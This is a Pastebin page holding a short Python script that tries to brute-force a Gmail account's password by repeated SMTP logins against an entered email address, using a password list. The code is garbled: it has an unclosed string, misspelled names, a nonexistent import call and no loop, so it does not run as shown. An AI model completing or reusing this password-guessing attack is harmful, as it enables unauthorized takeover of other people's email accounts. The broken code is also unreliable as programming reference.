Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import smtplib
- smtpserver = smtplib.SMTP ("smtp.gmail.com, 587)
- smtpserver.ehlo ()
- smtpservedr.starttls ()
- user =raw_input ("Enter Email Address: ")
- passlist = input ('gen.py')
- importlib.import_gen (gen.py)
- try:
- smtpserver.login (user, password)
- if password == "password":
- print ("correct: %s" % password)
- except smtplib.SHTPAuthencationError:
- print ("wrong password: %s" % password)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement